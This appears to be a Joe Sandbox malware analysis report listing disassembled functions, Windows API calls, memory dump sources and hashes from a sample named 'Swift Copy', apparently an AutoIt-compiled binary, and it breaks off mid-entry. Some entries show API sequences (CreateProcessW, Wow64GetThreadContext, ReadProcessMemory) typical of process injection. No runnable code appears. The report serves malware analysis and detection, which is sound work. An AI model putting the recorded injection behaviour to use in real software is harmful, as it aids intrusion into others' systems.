API String ID: 3397143404-0
Opcode ID: bac230bcc054d1bc80860cbbc320c39d3cd5310a7c38b9ecff1a46982e00d049
Instruction ID: fb0286c6d805f7d209f4f79f2ede05ca3dbd2f8eec7b762a76e0b356dddd7c25
Opcode Fuzzy Hash: bac230bcc054d1bc80860cbbc320c39d3cd5310a7c38b9ecff1a46982e00d049
Instruction Fuzzy Hash: A8E086322812147BD2302756BC0DF8B3A2CD78AB75F204310F759760D046A1154542A8

Function 00D81310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00D817F6

Strings

CALL, xrefs: 00D817C6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: b7dce755c25e901a0052ad0f30338cd436a66923e2e3efd473b6bdbdac6686fa
Instruction ID: 687d50d5a4f0090f1c24f2d8f5d274d97ac66fffe3ba0e43d7a3521bde80fde8
Opcode Fuzzy Hash: b7dce755c25e901a0052ad0f30338cd436a66923e2e3efd473b6bdbdac6686fa
Instruction Fuzzy Hash: 7E227A746082419FC714EF14C481B2ABBF5FF85314F28896DF59A9B3A1D731E84ACB62

Function 00DE6EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DE6F6B

Part of subcall function 00D74ECB: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74EFD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00DE6F5A, 00DE6F63

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LibraryLoad_wcslen
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 3312870042-2806939583
Opcode ID: 2602e1c9512df557313576ddf7a26a5226a0c16ff81402cbdf673f74a9f82bfe
Instruction ID: 1ec7a4f705d736253738df27c1358366f66e30d734857519817cffddc3327269
Opcode Fuzzy Hash: 2602e1c9512df557313576ddf7a26a5226a0c16ff81402cbdf673f74a9f82bfe
Instruction Fuzzy Hash: 79B18D315086419FCB14EF24C89296EB7E5EF94310F14895DF49A972A2FB30ED49CBB2

Function 00DE2557 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00DE2587

Strings

EA06, xrefs: 00DE25B9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: __fread_nolock
String ID: EA06
API String ID: 2638373210-3962188686
Opcode ID: c8fc372f4993d1619702d05cc83c3b8f67325edeb6e36e8082d98183682892c1
Instruction ID: 94f546a549f080afaf8e0aa83ea292f947d73640a3e7e1dfb7fc56e8a28925cd
Opcode Fuzzy Hash: c8fc372f4993d1619702d05cc83c3b8f67325edeb6e36e8082d98183682892c1
Instruction Fuzzy Hash: 8A01B5729042587EDF18D7A8C856EBEBBF8DB05301F00455AF192D2181E5B4E608CB70

Function 00D73837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D73908

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 00923c26ea49c6f2ebff46a02c40dc665d4319ff86b7ae998019e447de29691f
Instruction ID: d8d681232c47cb08c33751f1a920aad162a8ac90287688cc3799e2fe4ca662a9
Opcode Fuzzy Hash: 00923c26ea49c6f2ebff46a02c40dc665d4319ff86b7ae998019e447de29691f
Instruction Fuzzy Hash: 15319170604301DFD720DF65D884797BBE8FB49708F04096EF5DA93240E771AA88DB62

Function 00ED129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00ED1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00ED1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00ED1B13

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction ID: 21903efe982d184e52fc1952074fed787ea8e28d403efa4d2581aceb01b7e35d
Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction Fuzzy Hash: AE12BE24E14658C6EB24DF64D8507DEB232EF68300F10A4E9D10DEB7A5E77A4F81CB5A

Function 00D79E90 Relevance: 1.8, APIs: 1, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982593588e01323f283f57135bda97746e0bf60585b7d5ed365e3a470168a20e
Instruction ID: eef7afbd87a85c24e2fe9989d9daab162ded3c63e43840fa6bd4ef9cf606a48b
Opcode Fuzzy Hash: 982593588e01323f283f57135bda97746e0bf60585b7d5ed365e3a470168a20e
Instruction Fuzzy Hash: 1FC17171D0020A9BCF14EF9CC8919EEB7B5EF84310F54C526E95AA7191FB349982CB72

Function 00D74ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D74E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00D74EDD,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E9C
Part of subcall function 00D74E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00D74EAE
Part of subcall function 00D74E90: FreeLibrary.KERNEL32(00000000,?,?,00D74EDD,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74EC0

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74EFD

Part of subcall function 00D74E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00DB3CDE,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E62
Part of subcall function 00D74E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D74E74
Part of subcall function 00D74E59: FreeLibrary.KERNEL32(00000000,?,?,00DB3CDE,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E87

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: e9c6ec2886830fa5d0392fbe370e0be30681981182231bfa8df125df69486ae0
Instruction ID: c053377e2ed96f8d9843547543c461f69e950cf7717d7f17126a1c4aba9fa86d
Opcode Fuzzy Hash: e9c6ec2886830fa5d0392fbe370e0be30681981182231bfa8df125df69486ae0
Instruction Fuzzy Hash: 9B11C132600205AADB15FB64DC12BADB7A5EF40710F20C42DF54AB61D1FFB09A459B70

Function 00DA8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00DA8440

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c7460c925c716567277cf16d2f247989a7b9c0610404cdc60a5bac026c9a82d9
Instruction ID: b638e84213c7b47d30b0e3b13aa7726646c4ff83dfd47d18ec77ac8ffd1ffe70
Opcode Fuzzy Hash: c7460c925c716567277cf16d2f247989a7b9c0610404cdc60a5bac026c9a82d9
Instruction Fuzzy Hash: 5711487590420AAFCF05DF58E94099A7BF9EF49300F144069FC08AB312DA30DA11DBA5

Function 00D9E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: e9ca5c4c25e83889a064ded5a276ea6a2102a3fe44219c0ca10adfe141ce008a
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: E0F0F432511E10AADF317B6A8C05B5A3398DFA3330F140B15F820972D2DB70D8028ABA

Function 00D79CB3 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D79CBD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 925dd5c5bacb953470c4b1c403d787b0688307d40fd5fb7636ab76acd22fdb11
Instruction ID: 3ce602e477628d9fce546289b7110bc5f5002a0cc3690e1556a24de84e2a3096
Opcode Fuzzy Hash: 925dd5c5bacb953470c4b1c403d787b0688307d40fd5fb7636ab76acd22fdb11
Instruction Fuzzy Hash: 95F0C8B36007047ED725AF29D806E67BB94EB44760F10852AFA19CB1D1EB31E5108BB0

Function 00DA3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6,?,00D71129), ref: 00DA3852

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d0bbfdb6f4dcb4edd628830a87cafc28e38b3c536f8607184b55dce9ed8f4c7c
Instruction ID: 9022e5501bdab575a7b3ff5ee07951687816621190911ea2dc6e505bf6025572
Opcode Fuzzy Hash: d0bbfdb6f4dcb4edd628830a87cafc28e38b3c536f8607184b55dce9ed8f4c7c
Instruction Fuzzy Hash: B5E0ED31102324AAEB212B779C04F9A3A5AEF837B0F190220BC44A2581DB29DE0282F0

Function 00D74F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74F6D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 36ea80680c813c2b11786c50c4cce33d7f559bd3562e531b009e856c14c84af0
Instruction ID: f8b715a56a6a59662dac638801f982eed15a317780101186bbdc56d4344c56a6
Opcode Fuzzy Hash: 36ea80680c813c2b11786c50c4cce33d7f559bd3562e531b009e856c14c84af0
Instruction Fuzzy Hash: 69F0157110A752CFDB359F64D490822FBE4EF15329324CA6EE1EE82621D7329888DB20

Function 00D72DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00D72DC4

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: a9671bf7e1fa17586f4e6e7c94fb3ebb6e87fdb6790e0e88ccc254b8ead05fdc
Instruction ID: fb0e501646e1ba60520b960cb726dc066875fd13d221bb737d9e82afb4a9220e
Opcode Fuzzy Hash: a9671bf7e1fa17586f4e6e7c94fb3ebb6e87fdb6790e0e88ccc254b8ead05fdc
Instruction Fuzzy Hash: 12E0C276A042245BCB20A3989C06FEA77EDDFC8790F0441B1FD09E7259EA60ED84C6B0

Function 00DE2693 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00DE26B5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction ID: 45f52247410664acacdee655941f9af3491195bcaeb89ace0815afbc29f94d3e
Opcode Fuzzy Hash: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction Fuzzy Hash: DDE04FB0609B005FDF39AA28A8517B677E8DF49300F04096EF69B82252E57268458A6D

Function 00D72B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D73837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D73908

Part of subcall function 00D7D730: GetInputState.USER32 ref: 00D7D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00D72B6B

Part of subcall function 00D730F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00D7314E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 8abbf04b79fbb2c63ffaa74610f0501fdce8e5efaa788f414ec4a4353c9e1c45
Instruction ID: 877eef3d9295319a9e8821ba8d2af7f0927beb9f3d35197134066de52566c724
Opcode Fuzzy Hash: 8abbf04b79fbb2c63ffaa74610f0501fdce8e5efaa788f414ec4a4353c9e1c45
Instruction Fuzzy Hash: C1E0862230424806CB08BB75A85357DB759DBE6351F40957EF15A631A3EF25498A4272

Function 00DB039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00DB0704,?,?,00000000,?,00DB0704,00000000,0000000C), ref: 00DB03B7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9e247a467790ae1cabc5d06c3cd021d99ac70a8b9e85c10e109db1e9c7f47101
Instruction ID: 206029e4bd219b0a3caa76f2a094b7108fb2c6bc57e44eb7dd252a0a5274b61e
Opcode Fuzzy Hash: 9e247a467790ae1cabc5d06c3cd021d99ac70a8b9e85c10e109db1e9c7f47101
Instruction Fuzzy Hash: 2AD06C3204010DBFDF028F85DD06EDA3BAAFB48714F114100BE5866020C732E861AB90

Function 00D71CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00D71CBC

Memory Dump Source

